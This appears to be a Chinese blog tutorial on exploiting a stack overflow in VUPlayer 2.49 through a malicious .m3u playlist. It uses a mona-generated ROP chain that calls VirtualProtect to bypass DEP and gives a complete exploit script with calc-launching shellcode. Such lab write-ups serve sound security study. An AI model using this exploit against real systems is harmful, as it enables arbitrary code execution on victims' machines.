Exploitme3——ROP without ASLR

当程序开启数据执行保护(DEP)后,我们无法在栈上执行shellcode,但可以利用程序中自带的代码片段(gadget),使ret指令和栈数据相配合,将 gadget串成一串,也能起到shellcode的效果,这就是返回导向编程ROP

参考链接:

环境准备

  • Immunity Debugger : 一个windows下由纯python编写的调试器,有丰富的python安全工具库。

  • mona插件:将mona.py放到Immunity Debugger 的PyCommands目录下即可

  • VUPlayer : 一个小巧的音乐播放器。2.49版本在打开 play list 时存在缓冲区溢出漏洞。

  • DEP:开启操作系统的DEP设置(WIN10下:设置—系统—关于—高级系统设置—性能-设置—数据执行保护—选中“DEP(U)”)

  • 随机基址(ASLR): 关闭

开始实验

确认漏洞

编写python脚本,生成一个 test.m3u

1
2
3
4
payload = 3000 * "A"
file = open('test.m3u','w')
file.write(payload)
file.close()

打开VUPlayer,选择file-->open playlist,选中test.m3u,发现VUPlayer闪退。

使用windbg打开,将test.m3u拖入VUPlayer,发现 EIP 被 0x41414141 覆盖,确定存在栈溢出漏洞

EIP41414141

确认偏移量

在windbg中输入以下命令

1
.load pykd
1
2
3
!py mona pattern_create 3000
或者
!py mona pc 3000

将得到的3000个字符拷贝到test.m3u文件,重复之前的操作,得到

EIPpattern

之后执行以下命令,确定偏移量(偏移量指输入点距栈中返回地址之间的字节数):

1
2
3
!py mona pattern_offset 68423768

!py mona po 0x68423768 # 0x可以省略

得到

mona_po

确定偏移量为 1012 。

使用以下脚本,重复操作,测试偏移量是否正确:

1
2
3
4
payload = "A"*1012 + "B"*4
file = open('test.m3u','w')
file.write(payload)
file.close()

看到 EIP 成功被 0x42424242 覆盖,偏移量正确

EIP42424242

直接在栈上执行shellcode

搜索跳转指令

1
!py mona j -r esp

得到以下输出

1
2
3
4
5
6
7
8
9
10
11
[+] Writing results to jmp.txt
- Number of pointers of type 'jmp esp' : 7
- Number of pointers of type 'call esp' : 7
- Number of pointers of type 'push esp # ret ' : 1
[+] Results :
0x1000d0ff | 0x1000d0ff : jmp esp | null {PAGE_EXECUTE_READWRITE} [BASS.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v2.3.0.3 (D:\VulnTest\VUPlayer\BASS.dll), 0x0
0x1010539f | 0x1010539f : jmp esp | {PAGE_EXECUTE_READWRITE} [BASSWMA.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v2.3.0.3 (D:\VulnTest\VUPlayer\BASSWMA.dll), 0x0
...、、
Found a total of 15 pointers

[+] This mona.py action took 0:00:04.439000

尝试执行栈上指令

选用 0x1010539f0x1000d0ff存在”\x00“,不能正常工作)

1
2
3
4
payload = b"A"*1012 + b"\x9f\x53\x10\x10" + b"\xcc"
file = open('test.m3u','wb')
file.write(payload)
file.close()

在windbg下打开VMPlayer,拖入test.m3u文件,得到以下结果:

dep_red

说明开启了DEP防护,无法直接执行shellcode。

构造ROP使用绕过DEP

我们需要使用ROP调用VirtualProtect函数,以关闭shellcode所在页的DEP保护。

VirtualProtect

首先介绍VirtualProtect函数

1
2
3
4
5
6
BOOL VirtualProtect (
LPVOID lpAddress, # 要改变属性的内存起始地址
DWORD dwSize, # 要改百年属性的内存字节数
DWORD flNewProtect, # 输入新的页属性
PDWORD lpflOldProtect # 返回旧的页属性
);

页属性为 PAGE_EXECUTE_READWRITE(0x40)时,该页可读可写可执行。

我们的调用参数应该如下:

1
2
3
4
5
6
BOOL VirtualProtect (
shellcode_addr,# shellcode起始地址
shellcode_len, # 不小于shellcode长度,比如 0x201(常用)
0x40, # PAGE_EXECUTE_READWRITE
某个可写地址,
);

mona搜索ROPChain

  • 优先使用程序本身的dll而不是系统库,前者没开启ASLR,即便系统重启,payload仍有效。
  • -cp nonull 避免出现”\x00“字节导致payload被截断
  • mona可以设置日志文件的存放目录(目录路径不要加双引号)

windbg下执行以下命令,由于缺少符文报错,尝试immunity debugger

1
!py mona rop -m "bass,basswma,bassmidi" -cp nonull

immunity debugger下执行以下命令:

1
2
!mona config -set workingfolder D:\Users\czx\NativeFiles\Desktop\blog\code\Exploitme-ROP\mona-log
!mona rop -m "bass,basswma,bassmidi" -cp nonull

成功执行,输出信息如下:

immu-mona-rop

在日志目录下生成了以下几个文件:

mona-log

查看rop_chains.txt,其中包含建议使用的rop_chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
Register setup for VirtualProtect() :
--------------------------------------------
EAX = NOP (0x90909090)
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualProtect()
EDI = ROP NOP (RETN)
--- alternative chain ---
EAX = ptr to &VirtualProtect()
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = POP (skip 4 bytes)
ESI = ptr to JMP [EAX]
EDI = ROP NOP (RETN)
+ place ptr to "jmp esp" on stack, below PUSHAD
...
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x10015f82, # POP EAX # RETN [BASS.dll]
0x1060e25c, # ptr to &VirtualProtect() [IAT BASSMIDI.dll]
0x1001eaf1, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BASS.dll]
0x10030950, # XCHG EAX,ESI # RETN [BASS.dll]
#[---INFO:gadgets_to_set_ebp:---]

0x1001d748, # POP EBP # RETN [BASS.dll]
0x1010539f, # & jmp esp [BASSWMA.dll]
#[---INFO:gadgets_to_set_ebx:---]
0x10015f77, # POP EAX # RETN [BASS.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x10014db4, # NEG EAX # RETN [BASS.dll]
0x10032f32, # XCHG EAX,EBX # RETN 0x00 [BASS.dll]
#[---INFO:gadgets_to_set_edx:---]
0x10015fe7, # POP EAX # RETN [BASS.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x10014db4, # NEG EAX # RETN [BASS.dll]
0x10038a6d, # XCHG EAX,EDX # RETN [BASS.dll]
#[---INFO:gadgets_to_set_ecx:---]
0x101012e0, # POP ECX # RETN [BASSWMA.dll]
0x1003f0cc, # &Writable location [BASS.dll]
#[---INFO:gadgets_to_set_edi:---]
0x10603658, # POP EDI # RETN [BASSMIDI.dll]
0x1001dc05, # RETN (ROP NOP) [BASS.dll]
#[---INFO:gadgets_to_set_eax:---]
0x10015fe7, # POP EAX # RETN [BASS.dll]
0x90909090, # nop
#[---INFO:pushad:---]
0x1001d7a5, # PUSHAD # RETN [BASS.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

RopChain分析

ropchain是十分精巧的。ropchain的主要目的是为 VirtualProtect() 提供参数和控制执行流。

在执行完pushad之后,栈中数据的内容应该如下:

  • _edi 表示执行pushad前对应寄存器中的值
  • -> <func> 表示<func>的地址
1
2
3
4
5
6
7
8
9
_edi # -> retn
_esi # -> vitrualprotect
_ebp # -> jump esp
_esp # shllcode的起始地址
_ebx # 0x201
_edx # 0x40
_ecx # 0x1003f0cc,一个可写地址
_eax # nop
shellcode

执行了pushad之后,retn指令从栈顶端取出新的指令地址,并跳转至该地址开始执行,发现还是个retn,重复之前过程,便将控制流指向了VirtualProtect函数。

VirtualProtect函数将_ebp看作返回地址,将再下面的四个值看作四个输入的参数,函数效果为关闭shellcode所在页内存的DEP保护。_eax没用。

执行完后,jump esp便将执行流转到shellcode

完整exp

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import struct

def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x10015f82, # POP EAX # RETN [BASS.dll]
0x1060e25c, # ptr to &VirtualProtect() [IAT BASSMIDI.dll]
0x1001eaf1, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BASS.dll]
0x10030950, # XCHG EAX,ESI # RETN [BASS.dll]
#[---INFO:gadgets_to_set_ebp:---]
0x1001d748, # POP EBP # RETN [BASS.dll]
0x1010539f, # & jmp esp [BASSWMA.dll]
#[---INFO:gadgets_to_set_ebx:---]
0x10015f77, # POP EAX # RETN [BASS.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x10014db4, # NEG EAX # RETN [BASS.dll]
0x10032f32, # XCHG EAX,EBX # RETN 0x00 [BASS.dll]
#[---INFO:gadgets_to_set_edx:---]
0x10015fe7, # POP EAX # RETN [BASS.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x10014db4, # NEG EAX # RETN [BASS.dll]
0x10038a6d, # XCHG EAX,EDX # RETN [BASS.dll]
#[---INFO:gadgets_to_set_ecx:---]
0x101012e0, # POP ECX # RETN [BASSWMA.dll]
0x1003f0cc, # &Writable location [BASS.dll]
#[---INFO:gadgets_to_set_edi:---]
0x10603658, # POP EDI # RETN [BASSMIDI.dll]
0x1001dc05, # RETN (ROP NOP) [BASS.dll]
#[---INFO:gadgets_to_set_eax:---]
0x10015fe7, # POP EAX # RETN [BASS.dll]
0x90909090, # nop
#[---INFO:pushad:---]
0x1001d7a5, # PUSHAD # RETN [BASS.dll]
]
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()
shellcode = (b"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
b"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
b"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
b"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
b"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
b"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
b"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
b"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
b"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
b"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
b"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
b"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
b"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
b"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
b"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
b"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
b"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
b"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
b"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
b"\x30\x03\xc6\xeb\xdd")

payload = b"a"*1012 + rop_chain + shellcode
file = open('payload.m3u','wb')
file.write(payload)
file.close()

攻击结果

运行exp.py,将生成的payload.m3u拖入VUPlayer,成功弹出计算器,如图:

pwn

总结

  1. monaImmunity debugger中比在Windbg中更好用,虽然后者更美观。
  2. mona很智能,生成的rop_chains.txt中的ropchain可以直接使用。